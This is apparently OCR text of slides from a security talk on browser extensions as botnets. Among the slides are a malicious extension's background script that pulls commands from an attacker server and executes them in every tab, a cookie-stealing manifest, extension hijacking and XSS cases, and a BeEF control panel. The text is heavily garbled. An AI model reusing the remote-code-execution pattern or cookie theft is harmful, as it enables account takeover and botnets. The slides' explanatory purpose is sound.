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facebook

Facebook ‘Comment Tagging Malware’ Spreading via

Google Chrome
By Wagason June 27,2006 & Email ¥ @hackread W

IF YOU RECEIVE A FACEBOOK NOTIFICATION REGARDING A FRIEND TAGGING YOU
INA COMMENT BE VERY CAREFUL BEFORE CLICKING ON THE LINK IT CAN BE A
JAVASCRIPT MALWARE FOUND TARGETING USERS LATELY!




Tag Me If You Can

EXRONENTIAL

Uuin acomment.

Facebook

. comment_27734045.jse
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This Magical Bot...




What Makes A Good Bot

Goal: Look Human

[
. [ Javascript Challenges
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& Human Context
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Browser Extension:

The Perfect Bot



What An Extension Can Do

Extension Manifest

{
"update url”: "https://clients2.google.com/

bagtg;;:gd . [{ BaCkQFOUHd "description": "Permet de profiter des avantages d'un compte vi

1 ~ -y | - "iCOI’IS": {
VleW-JS SC”pt "128": "ViadEO.png",

"16": "viadeo.png",

uérowser_aCtion": { } "48": "Viadeo-png"
"default_icon": "viadeo.png", 0! ;€
"default_popup": "index.html" Mmanites.L
. name":
"content_scripts": [ permiss1ons-:
{ tabs",
st [ "x://*.viadeo.com/",
||jquery.jsll’ StOI"age ’
"crack.js"
1, Snatch user
"matches": | »
"x://%.viadeo.com/*" cookies from

]
1, I

"version": "3.4",
"content_security policy": "script-src 'self' 'unsafe-eval'; ob

"webRequestBlockl any tab



Command & Control

Background Script

, Any time a tab .
chrome.tabs.onUpdated.addlListener (|f< zaez, ypujhmpyy) 4

IS updated

var xhr obj = juykhjkhij();
xhr _obj['onreadystatechange']l = function() {
if X1 nbil'reac 3te' == /[

chrome['tabs'] ['executeScript'] ({ And execute them
code: xhr_obj['responseText’] on the active tab.

xhr_obj['open']('get', ‘http://appbdgjfrra.co/data.js')|; Get new commands from

xhr_obj['send']();
1 rkiyypsyn == (
rkiyypsyn = 1;

the attacker’s server




Browser Extension:

The Perfect Bot



Too Much Work...

facebook friends E3

Find out who are the most visited your facebook

How does it work?

We use an extension for obetencer information about visits to your
profiec, then coliect showing you who are the ones who have
entered your protile.
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The Oldest Trick in the Book

Copyfish Chrome Extension Hijacked to Show Adware

By Catalin Cimpanu July 31,2017 02:15 PM 4

++ Hackers Hijacked Chrome Extension for Web Developers With - =

‘Over 1 Million Users 1. Web Developer 0.4.9
nl () Wednesday, August 02,2017 & Swati Khandelwal 2 Ch rOmetana 1 1 3
- - 3. Infinity New Tab 3.12.3
4.CopyFish 2.8.5
, ‘ 5. Web Paint 1.2.1
- @ Web Developer!!! HACKED 0. Social Fxer 20.1.1
| /. TouchVPN

8. Betternet VPN

8 More Chrome Extensions Hijacked to Target 4.8 Million Users

= Wednesday, August 16,2017 & Swati Khandelwal




The Oldest Trick in the Book #2

JavaScript Alert
XSS

€

JSONView



AVG Web Tuneup extension XSS

 December 2015
* 9 million installations

» XSS found by Google Project Zero

researcher Tavis Ormandy




AVG Web Tuneup XSS - DEMO

chrome. tabs.update (tabId, url)

@ chrome

<

- -
Listener

3

window.postMessage (tabId, url) chrome.runtime. sendMessage (tabId, url)




AVG Web Tuneup XSS - DEMO

chrome. tabs.update (ta

url)
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chrome.runtime.sendMessage (tabId, url)



—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

" @ 10.10.10.208:3000/ui/panel T vEe " Google P } A B- ' = v
S
® BeEF 0.4.36-aipha | Submt Bug | Logout
= Hooked Browsers ll Getting Started *L Logs “ Current Browser l
4 {3 Online Browsers ; — | — — - s
459101010208 | Detais L logs | Commands | Rider | XsRays |
| = ? M 5 10.10.10202 l Module Tree - Module Results History ! Conlnmdrealls l:_
T | 43 Browser (10) . P s 11 1 ThuFeb 07 2013 15:23:36 GMT-0500 (Eastern Standard A
T - sopaas. S : . Time)
b-l tiantied Duaie (100 0 2013-02-071523 command 1 data’ resut=Swfobject successfully added flash object o
« Pay Sound | the victim page
| 1 2013-02-07 15:34 command 2
& Unhook | 2 Thu Feb 07 2013 15:23:47 GMT-0500 (Eastern Standard
. Webcam Time)
_ Get Visted Domains data: resuR=User pressed allow, you should get pictures
& Detect Popup Blocker
@ Detect FreBug 3 Thu Feb 07 2013 15:23:47 GMT-0500 (Eastern Stat}ﬁci
@ Detect Unsafe ActiveX data picture=/S9y4AAQSKZIRgABAQAAAQABAAD
@ Fingorprnt Erowser AADEAPABOAMPEQACEQENEGH. e
@ Get Visted URLs IXAGIAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBWG)
> () Chrome Extensions (7) /S+QEAAWEBAQEBAQEBAQAAAAAAAAECAWQFBgCICQO
5 [—__] Debug (3) M19vi4+fri2gAMAWEAAREDEQA
IAPT+KACQAOAKACGACAKACGAOAKACGAOAKACADAKA
> [_)Explotts (14) IwDRQ==
D L_J Host (13) 4 Thu Feb 07 2013 15:23.48 GMT-0500 (Eastern Standard
> |_JIPEC (6) Time)
il data picture=/9y4AAQSKZJRGABAQAAAQABAAD
e e B 2wCEAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB
> [ Misc (6) /AABEIAPABQAMBEQACEQEDEQH
> [__) Network (8) IXAGIAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBWY)
S /i5+gEAAWEBAQEBAQEBAQAAAAAAAAECAWQFBgCICQo
b D Persistence (4) IT19vid+fri2gAMAWEAANEDEQA
> |__) Phonegap (8) JAPT+KACQAOAKACQACLAKACGADAKACOADAKACGADAKA
> (] Social Engineering (6) /wDR2Q==
S Thu Feb 07 2013 15:23:50 GMT-0500 (Eastern Standard v
Y e Re-execute command |+

| © Reasy




Finally: Creating Our Botnet




To Sum Up

» Browser extensions: GREAT BOTS

» Bot infection campaigns through social networks are
happening as we speak

* YOu can use your own malicious extension, but you can
also hack into existing extensions

» Extensions can be hacked in many ways, including
Phishing and XSS
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